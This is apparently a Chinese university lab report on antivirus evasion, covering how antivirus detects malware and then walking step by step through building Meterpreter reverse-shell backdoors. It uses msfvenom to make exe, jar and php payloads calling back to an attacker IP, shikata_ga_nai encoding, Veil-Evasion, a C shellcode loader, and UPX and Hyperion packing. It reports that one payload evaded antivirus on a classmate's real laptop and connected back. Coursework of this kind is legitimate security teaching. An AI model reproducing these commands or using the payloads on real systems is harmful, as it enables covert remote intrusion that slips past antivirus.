2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

基础问题回答

  • 杀软是如何检测出恶意代码的?

    1. 主要依托三种恶意软件检测机制
    2. 基于特征码的检测:一段特征码就是一段或者多段数据。如果一个可执行文件中含有这样的数据,即可被认为是恶意代码。
    3. 启发式恶意软件检测:根据一些片面特征去推测判断,但是一般缺乏精确地判定依据。
    4. 基于行为的恶意代码检测:属于启发式的一种,或者是加入了行为监控的启发式。
  • 免杀是做什么的?

    1. 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
  • 免杀的基本方法有哪些?

    1. 改变特征码

      1. 只有EXE--加壳:压缩壳,加密壳
      2. 有shellcode(像Meterpreter)--用encode进行编码,基于payload的重新编译生成可执行文件
      3. 有源代码的--用其他编译器进行重写再编译(veil-evasion)
    2. 改变行为
      1. 通讯方式:尽量减少反弹式连接,使用隧道技术,加密通讯数据
      2. 操作模式:基于内存操作,减少对系统的修改,加入混淆功能的正常功能代码
      3. 非常规方法:使用后门;使用攻击,诱骗目标关闭AV软件;自己做一个恶意软件

具体实验操作

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

使用msf编码器

  • 使用msf编码器生成后门程序

    met-5221.exe: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=5221 -f exe > met-5221.exe

  • 将生成的后门程序上传到virus total进行检测

  • 可见, 比较明显的后门程序很容易被杀软发现,下面我们做一些修改,看看是否还能被发现呢?

  • 一次编码的命令:-e 选择编码器;

    -b 是去除payload中需要去除的字符,为了使'\x00'不出现在shellcode中。 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.75.128 LPORT=5221 -f exe > encoded-5221.exe

  • 再次将生成的后门程序上传到virus total进行检测

  • 再进行十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.75.128 LPORT=5221 -f exe > met-encoded-10.exe,其中-i后的参数是确定编码次数,具体效果如下

  • 再次将生成的后门程序上传到virus total进行检测

  • 可见效果不是特别明显

使用msfvenom生成jar

  • 使用Java后门程序生成指令生成后门程序msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.75.128 lport=5221 x> 20165221-后门_java.jar

使用msfvenom生成php

  • 使用php后门程序生成指令生成后门msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.128 lport=5221 x> 20165221_后门.php

使用veil-evasion

  • 此处参考了同学的博客,进行安装,感谢大佬探路!

  • 之后再在终端输入veil,一路y,直到安装完成。这个过程相当的漫长,慢慢等吧......

  • 设置反弹连接IP:192.168.254.128(kali的ip)

  • 设置端口号:set LPORT 5221

  • 输入gennerate,接着输入playboad的名字:baddoor

  • 随后再在终端使用veil进入应用,输入use evasion进入veil-evasion,再输入use python/meterpreter/rev_tcp.py

半手工注入Shellcode并执行

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=5221 -f c

  • 得到shellcode

  • 新建5221-exp3.c文件,并注入shellocde

unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 成功生成5221-exp3.c文件

  • 再将其上传到virus total进行检测

  • 和前几次相比,已经有了一些效果了

加个压缩壳再试试

  • 5221-exp3.exe加壳得到tx_upxed.exe

  • 再将其上传到virus total进行检测

  • 将其复制到win10主机上,用360卫士进行木马查杀,效果如下

  • 额,貌似没有被发现啊,嘻嘻嘻

使用加密壳Hyperion

  • 将生成的tx_upxed.exe文件拷贝到/usr/share/windows-binaries/hyperion/

  • 再使用命令wine hyperion.exe -v tx_upxed.exe tx_upxed.Hyperion.exe得到加密壳

  • 将其复制到win10主机上,被查杀

  • 将之前生成的后门程序20165221upxed.exe放到win7的虚拟机中,能够成功获得shell

用另一电脑实测,在杀软开启的情况下,可运行并回连成功

  • 选择同学的联想笔记本电脑进行实测,并没有被杀软发现



实验总结

  • 这次试验中遇到的最大的几个问题就是veil的安装,虚拟机崩掉和ip地址导致的问题
  • 最开始在注入shellcode时是在图书馆用的WiFi做的,后来反弹连接时,老是失败,后来才意识到到宿舍是连接的自己的热点,IP地址都已经变化了,所以又退回去做了一遍........
  • 虚拟机崩掉这个,真是.....在用win7的虚拟机回弹连接时,发现虚拟机就是打不开,后来选择了最笨的办法,重新安装VMware,修复之前的运行环境,总之,很波折。。。。。。还好,都解决了

2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. Hive JDBC:java.lang.RuntimeException: org.apache.hadoop.ipc.RemoteException(org.apache.hadoop.security.authorize.AuthorizationException): User: root is not allowed to impersonate anonymous

    今天使用JDBC来操作Hive时,首先启动了hive远程服务模式:hiveserver2 &(表示后台运行),然后到eclipse中运行程序时出现错误: java.sql.SQLExcepti ...

  2. 周末学习笔记——day02(带参装饰器,wraps修改文档注释,三元表达式,列表字典推导式,迭代器,生成器,枚举对象,递归)

    一,复习 ''' 1.函数的参数:实参与形参 形参:定义函数()中出现的参数 实参:调用函数()中出现的参数 形参拿到实参的值,如果整体赋值(自己改变存放值的地址),实参不会改变,(可变类型)如果修改 ...

  3. dataTable tab栏切换时错位解决办法

    做后台管理类网站肯定要写列表,首选dataTable,功能强大 最近在做一个tab栏切换时发现了一个很诡异的事情:表头错位了! 主要时因为当table被隐藏后,table的header宽度会计算错乱, ...

  4. maven 将第三方jar包转成maven的jar包

    转载:https://blog.csdn.net/qq_40644583/article/details/81475135 1.首先你需要准备外部jar包 我的这个jar包现在以及下载解压到桌面 地址 ...

  5. html-webpack-plugin不输出script标签的方法

    那就是修改源码 约550行: if (!this.options.disableScript) { if (this.options.inject === 'head') { head = head. ...

  6. Keepalived配置详解

    Keepalived 配置文件解释 Keepalived的所有配置都在一个配置文件里面,主要分为三类: 全局配置 VRRPD配置 LVS 配置 配置文件是以配置块的形式存在,每个配置块都在一个闭合的{ ...

  7. jmeter笔记(7)--参数化--用户定义的变量

    录制的脚本里面有很多的相同的数据的时候,比如服务器ip,端口号等,当更换服务器的时候,就需要手动的修改脚本里面对应的服务器ip和端口号,比较繁琐,jmeter里面有一个用户自定义变量能很好的解决这个问 ...

  8. 【洛谷P3014】Cow Line

    题目大意:康托展开和逆康托展开模板题. 题解: 注:20!约为 2e18. 代码如下 #include <bits/stdc++.h> using namespace std; const ...

  9. (六)QDialog,QMessageBox,QFileDialog,QColorDialog颜色,QFontDialog字体

    QDialog 对话框: 1.模态对话框: QDialog dlg(this); // 显示模态对话框 exec ,后面的不可操作 dlg.exec(); // 阻塞 2.非模态对话框: QDialo ...

  10. visual studio 中sstrcpy报错的问题

    项目->属性->C/C++->预处理器->预处理器定义->添加 _CRT_SECURE_NO_WARNINGS